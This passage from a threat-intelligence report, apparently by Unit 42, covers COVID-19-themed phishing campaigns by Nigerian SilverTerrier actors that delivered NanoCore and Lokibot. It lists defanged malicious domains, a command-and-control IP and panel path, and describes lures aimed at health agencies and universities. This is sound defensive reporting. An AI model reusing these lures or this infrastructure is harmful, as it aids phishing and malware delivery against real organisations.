Reviewing the list of hosts in cluster three, the following naming conventions stand out: chnes, engine, kung, russchine, shgshg, and tesco. However, most notably cluster three includes kungfrdyeducationalinvestment8agender[.]duckdns[.]org which we observed in the sixth campaign above.
Figure 7. Infrastructure connections between campaigns
Campaign 7
A seventh campaign was launched spanning April 7th and 8th 2020, in which two samples of NanoCore RAT were packaged as compressed RAR files with a vaccine-related lure. These samples were sent to several organizations including a government health agency and two universities with medical programs in the United States, as well as a Canadian health insurer.
Table 10. Indicators from the seventh campaign
Connecting this campaign to Actor 1, we found malicious activity originating from the domain ladbible[.]com dating back to mid-January. Tracing the earliest activity back to Nigerian origins, we also discovered that less than two weeks prior to this campaign, this domain was used to distribute a sample of Lokibot malware. That sample called back to two domains previously attributed to Actor 1 (sylvaclouds[.]eu and hokokk[.]com) and outlined in Figure 3 above.
Campaign 8
On April 8, 2020, we witnessed the most recent campaign by this actor. Distributed broadly, targets of this campaign included a government health agency, state infrastructure, and a health insurance company in the United States, in addition to a university and regional government in Italy, and various government institutions in Australia. Disguised as COVID-19 relief materials coming from a “Thai Medical Department,” these phishing emails were delivered with one of two samples of Lokibot malware designed to call out to 185[.]126[.]202[.]111 for command and control. As seen in Figure 3 above, analysis performed on this IP address identified malware overlap with dynamic DNS clusters one and three.
Table 11. Indicators from the eighth campaign
Actor 2
Separate and distinct from the campaigns above, we identified a single campaign associated with the name of Alhaji. Between March 17th and 18th, 2020, two samples of Lokibot malware were sent to several organizations, including a government health agency in the United States. These samples called out academydea[.]com/alhaji/Panel/five/fre[.]php for command and control. Upon researching this domain, we discovered an additional 16 samples of malware used in the previous month. Further, leveraging insights from a vulnerability in Lokibot malware, we were able to trace this activity back to Nigerian IP addresses.
Table 12. Indicators from Actor 2’s campaign
Actor 3
Between March 23rd and 24th, 2020, a SilverTerrier actor using the name Black Emeka launched a series of emails containing malicious attachments. Disguised as COVID-19 information, these emails originated from the domain welheadcontrol[.]com, which is registered to the actor. The attached malware samples use PowerShell to download malicious executable files from the domain goldenlion[.]sg, which resolves to an active website for Golden Lion Technology PTE LTD in Singapore. While likely not a coincidence, the website advertises Goldhofer equipment, while this actor is also the registered owner of the typo variant domain goldhhofer[.]com.
Figure 8. Advertising for Goldhofer on goldlion[.]sgTable 13. Indicators from Actor 2’s campaign
Conclusion
As 2020 progresses, the most prominent threat facing customers is commodity malware deployed in support of sophisticated BEC schemes. Given the global impacts of COVID-19, SilverTerrier actors have begun adapting their phishing campaigns and will likely continue to use COVID-19-themed emails to deliver commodity malware broadly in support of their objectives. In light of this trend, we encourage government agencies, healthcare and insurance organizations, public utilities, and universities with medical programs to apply extra scrutiny to COVID-19-related emails containing attachments. While organizations with appropriate spam filtering, proper system administration, and up-to-date Windows hosts have a much lower risk of infection, we further encourage administrators to validate installation of the Microsoft patch for CVE 2017-11882.
Additionally, Palo Alto Networks customers benefit from the following:
Cortex XDR protects endpoints from all malware, exploits and fileless attacks associated with SilverTerrier actors.
WildFire® cloud-based threat analysis service accurately identifies samples associated with these malware families.
Threat Prevention provides protection against the known client and server-side vulnerability exploits, malware, and command and control infrastructure used by these actors to include CVE 2017-11882
URL Filtering identifies all phishing and malware domains associated with these actors and proactively flags new infrastructure associated with these actors before it is weaponized.
Users of AutoFocus™ contextual threat intelligence service can view malware associated with these attacks using the SilverTerrier tag.
Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.
Get updates from Unit 42
Peace of mind comes from staying ahead of threats. Subscribe today.
Get the latest news, invites to events, and threat alerts
Get updates from Unit 42 